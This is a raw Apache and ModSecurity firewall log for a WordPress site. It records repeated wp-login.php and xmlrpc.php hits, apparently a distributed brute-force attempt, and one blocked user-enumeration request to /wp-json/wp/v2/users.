[Wed Nov 19 12:46:43.452919 2025] [:error] [pid 6919:tid 6925] [client 103.18.204.205:46636] [client 103.18.204.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.18.204.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR1Ls0YFdN1s_9xJVUkg_AAAAQM"], referer: https://gigfragments.org
[Wed Nov 19 13:25:39.326566 2025] [:error] [pid 26664:tid 26671] [client 50.6.156.79:30876] [client 50.6.156.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.156.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR1U04pWc1yoj2P7MeC7_QAAAUQ"]
[Wed Nov 19 13:43:36.973383 2025] [:error] [pid 6555:tid 6612] [client 136.118.181.199:52578] [client 136.118.181.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.181.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR1ZCEbVJm8eMsGMTCP4zgAAAFU"]
[Wed Nov 19 14:06:52.097629 2025] [:error] [pid 6555:tid 6611] [client 184.168.126.97:45666] [client 184.168.126.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.126.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR1efEbVJm8eMsGMTCP7qQAAAFQ"]
[Wed Nov 19 14:19:17.591421 2025] [:error] [pid 6644:tid 6649] [client 101.35.56.33:41224] [client 101.35.56.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.35.56.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR1hZU0i6Rf788MB6sZerwAAAMM"], referer: https://gigfragments.org
[Wed Nov 19 14:52:11.436610 2025] [:error] [pid 26664:tid 26681] [client 8.133.253.244:41108] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.133.253.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR1pG4pWc1yoj2P7MeDNzQAAAU4"], referer: https://gigfragments.org
[Wed Nov 19 15:31:46.467454 2025] [:error] [pid 12673:tid 12727] [client 162.241.217.57:21136] [client 162.241.217.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.217.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR1yYsab1F0fb062dH0sOwAAAhc"]
[Wed Nov 19 15:33:54.285674 2025] [:error] [pid 12673:tid 12718] [client 115.190.136.123:57384] [client 115.190.136.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.190.136.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR1y4sab1F0fb062dH0smgAAAg4"], referer: https://gigfragments.org
[Wed Nov 19 16:00:26.637432 2025] [:error] [pid 12673:tid 12711] [client 185.2.4.118:41492] [client 185.2.4.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.2.4.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR15Gsab1F0fb062dH0y1AAAAgc"]
[Wed Nov 19 16:00:29.516467 2025] [:error] [pid 12673:tid 12717] [client 185.2.4.118:47014] [client 185.2.4.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.2.4.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR15Hcab1F0fb062dH0y2wAAAg0"], referer: http://gigfragments.org/wp-login.php
[Wed Nov 19 16:00:32.166167 2025] [:error] [pid 12643:tid 12653] [client 185.2.4.118:47030] [client 185.2.4.118] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aR15IMaLCNSdLHNAGt7JqgAAAYc"], referer: http://gigfragments.org/wp-login.php
[Wed Nov 19 16:00:33.790343 2025] [:error] [pid 12643:tid 12666] [client 185.2.4.118:44602] [client 185.2.4.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.2.4.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR15IcaLCNSdLHNAGt7JrQAAAZQ"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Wed Nov 19 17:38:19.454293 2025] [:error] [pid 6556:tid 6640] [client 185.238.231.42:63619] [client 185.238.231.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2QC5uL7hhgrmdM1msKRAAAAJY"]
[Wed Nov 19 17:48:12.538600 2025] [:error] [pid 6919:tid 6924] [client 198.177.125.65:33088] [client 198.177.125.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.125.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2SXEYFdN1s_9xJVUlfBQAAAQI"]
[Wed Nov 19 18:33:37.486982 2025] [:error] [pid 6556:tid 6642] [client 185.238.231.32:43107] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2dAZuL7hhgrmdM1msR-QAAAJg"]
[Wed Nov 19 18:33:37.487619 2025] [:error] [pid 6644:tid 6650] [client 185.238.231.172:31749] [client 185.238.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2dAU0i6Rf788MB6samxgAAAMQ"]
[Wed Nov 19 18:37:41.665332 2025] [:error] [pid 12672:tid 12682] [client 185.238.231.200:58409] [client 185.238.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2d9f9vojl6X1cc5mUSQwAAAcU"]
[Wed Nov 19 18:37:41.715796 2025] [:error] [pid 12672:tid 12696] [client 185.238.231.162:27423] [client 185.238.231.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2d9f9vojl6X1cc5mUSRAAAAdM"]
[Wed Nov 19 18:41:11.297351 2025] [:error] [pid 6556:tid 6634] [client 198.177.125.65:55722] [client 198.177.125.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.177.125.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR2ex5uL7hhgrmdM1msTagAAAJA"]
[Wed Nov 19 18:41:37.740753 2025] [:error] [pid 6644:tid 6668] [client 185.238.231.162:48641] [client 185.238.231.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2e4U0i6Rf788MB6sao5AAAANY"]
[Wed Nov 19 18:41:37.743291 2025] [:error] [pid 12672:tid 12693] [client 185.238.231.187:44671] [client 185.238.231.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2e4f9vojl6X1cc5mUTLgAAAdA"]
[Wed Nov 19 18:41:40.043367 2025] [:error] [pid 6644:tid 6647] [client 35.243.223.150:41242] [client 35.243.223.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.243.223.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2e5E0i6Rf788MB6sao5gAAAME"]
[Wed Nov 19 18:41:42.571250 2025] [:error] [pid 6644:tid 6667] [client 35.243.223.150:41242] [client 35.243.223.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.243.223.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2e5k0i6Rf788MB6sao6AAAANU"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 19 18:43:14.385674 2025] [:error] [pid 6556:tid 6632] [client 185.238.231.203:36641] [client 185.238.231.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2fQpuL7hhgrmdM1msT8QAAAI4"]
[Wed Nov 19 18:43:14.399670 2025] [:error] [pid 6556:tid 6621] [client 185.238.231.33:33273] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2fQpuL7hhgrmdM1msT8gAAAIM"]
[Wed Nov 19 18:44:52.433625 2025] [:error] [pid 12673:tid 12728] [client 185.238.231.175:40547] [client 185.238.231.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2fpMab1F0fb062dH1UmgAAAhg"]
[Wed Nov 19 18:44:52.657388 2025] [:error] [pid 6919:tid 6932] [client 185.238.231.42:35441] [client 185.238.231.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2fpEYFdN1s_9xJVUlrYgAAAQo"]
[Wed Nov 19 18:56:01.135517 2025] [:error] [pid 6644:tid 6665] [client 185.238.231.184:55845] [client 185.238.231.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2iQU0i6Rf788MB6savegAAANM"]
[Wed Nov 19 18:56:01.230790 2025] [:error] [pid 6644:tid 6657] [client 185.238.231.193:61637] [client 185.238.231.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2iQU0i6Rf788MB6savewAAAMs"]
[Wed Nov 19 18:59:13.748667 2025] [:error] [pid 6919:tid 6929] [client 185.238.231.190:46339] [client 185.238.231.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2jAUYFdN1s_9xJVUluzQAAAQc"]
[Wed Nov 19 18:59:13.749435 2025] [:error] [pid 6556:tid 6621] [client 185.238.231.189:42187] [client 185.238.231.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2jAZuL7hhgrmdM1msXqwAAAIM"]
[Wed Nov 19 19:02:07.641026 2025] [:error] [pid 6644:tid 6663] [client 185.238.231.186:27983] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2jr00i6Rf788MB6sayqwAAANE"]
[Wed Nov 19 19:02:07.790995 2025] [:error] [pid 6644:tid 6649] [client 185.238.231.179:30745] [client 185.238.231.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2jr00i6Rf788MB6sayrAAAAMM"]
[Wed Nov 19 19:04:57.485464 2025] [:error] [pid 12643:tid 12662] [client 51.178.9.114:40260] [client 51.178.9.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.9.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR2kWcaLCNSdLHNAGt7nQgAAAZA"]
[Wed Nov 19 19:05:42.989302 2025] [:error] [pid 6555:tid 6599] [client 185.238.231.33:50789] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2khkbVJm8eMsGMTCMm6gAAAEg"]
[Wed Nov 19 19:05:42.989627 2025] [:error] [pid 12672:tid 12692] [client 185.238.231.191:27819] [client 185.238.231.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2khv9vojl6X1cc5mUZwwAAAc8"]
[Wed Nov 19 19:07:09.937115 2025] [:error] [pid 6555:tid 6606] [client 185.238.231.32:44743] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2k3UbVJm8eMsGMTCMnCgAAAE8"]
[Wed Nov 19 19:07:09.948384 2025] [:error] [pid 6556:tid 6619] [client 185.238.231.173:35103] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2k3ZuL7hhgrmdM1msZGgAAAIE"]
[Wed Nov 19 19:08:35.422796 2025] [:error] [pid 6644:tid 6653] [client 185.238.231.178:55587] [client 185.238.231.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2lM00i6Rf788MB6sa0bgAAAMc"]
[Wed Nov 19 19:08:35.422826 2025] [:error] [pid 6644:tid 6647] [client 185.238.231.187:52737] [client 185.238.231.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2lM00i6Rf788MB6sa0bwAAAME"]
[Wed Nov 19 19:09:57.508940 2025] [:error] [pid 6919:tid 6932] [client 185.238.231.171:29917] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2lhUYFdN1s_9xJVUlwwwAAAQo"]
[Wed Nov 19 19:09:57.520628 2025] [:error] [pid 6555:tid 6591] [client 185.238.231.170:37525] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2lhUbVJm8eMsGMTCMncwAAAEA"]
[Wed Nov 19 19:11:21.710587 2025] [:error] [pid 12672:tid 12692] [client 185.238.231.38:35835] [client 185.238.231.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2l2f9vojl6X1cc5mUatAAAAc8"]
[Wed Nov 19 19:11:21.740850 2025] [:error] [pid 12643:tid 12664] [client 185.238.231.166:38461] [client 185.238.231.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2l2caLCNSdLHNAGt7oLQAAAZI"]
[Wed Nov 19 19:12:44.025246 2025] [:error] [pid 6556:tid 6633] [client 185.238.231.180:64689] [client 185.238.231.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2mLJuL7hhgrmdM1msZlgAAAI8"]
[Wed Nov 19 19:12:44.076950 2025] [:error] [pid 12673:tid 12728] [client 185.238.231.173:61417] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2mLMab1F0fb062dH1cawAAAhg"]
[Wed Nov 19 19:14:09.660517 2025] [:error] [pid 12672:tid 12701] [client 185.238.231.169:50423] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2mgf9vojl6X1cc5mUbPQAAAdg"]
[Wed Nov 19 19:14:09.664166 2025] [:error] [pid 6919:tid 6944] [client 185.238.231.201:65095] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2mgUYFdN1s_9xJVUlxVwAAARY"]
[Wed Nov 19 19:15:36.011959 2025] [:error] [pid 12672:tid 12677] [client 185.238.231.35:42175] [client 185.238.231.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2m2P9vojl6X1cc5mUbjwAAAcA"]
[Wed Nov 19 19:15:36.012525 2025] [:error] [pid 6644:tid 6666] [client 185.238.231.185:30127] [client 185.238.231.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2m2E0i6Rf788MB6sa2egAAANQ"]
[Wed Nov 19 19:17:04.583681 2025] [:error] [pid 6919:tid 6946] [client 185.238.231.164:45021] [client 185.238.231.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2nMEYFdN1s_9xJVUlyOwAAARg"]
[Wed Nov 19 19:17:04.622324 2025] [:error] [pid 6644:tid 6664] [client 185.238.231.173:52911] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2nME0i6Rf788MB6sa22wAAANI"]
[Wed Nov 19 19:18:36.104561 2025] [:error] [pid 6919:tid 6941] [client 185.238.231.180:57525] [client 185.238.231.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2njEYFdN1s_9xJVUlyiQAAARM"]
[Wed Nov 19 19:18:36.105510 2025] [:error] [pid 26664:tid 26678] [client 185.238.231.34:59587] [client 185.238.231.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2njIpWc1yoj2P7MeD3owAAAUs"]
[Wed Nov 19 19:20:09.319979 2025] [:error] [pid 6644:tid 6657] [client 185.238.231.46:21651] [client 185.238.231.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2n6U0i6Rf788MB6sa30wAAAMs"]
[Wed Nov 19 19:20:09.320338 2025] [:error] [pid 6644:tid 6659] [client 185.238.231.41:62449] [client 185.238.231.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2n6U0i6Rf788MB6sa31AAAAM0"]
[Wed Nov 19 19:21:51.582226 2025] [:error] [pid 26664:tid 26675] [client 185.238.231.40:27851] [client 185.238.231.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2oT4pWc1yoj2P7MeD4VQAAAUg"]
[Wed Nov 19 19:21:51.591609 2025] [:error] [pid 12643:tid 12650] [client 185.238.231.191:33793] [client 185.238.231.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR2oT8aLCNSdLHNAGt7qjwAAAYQ"]
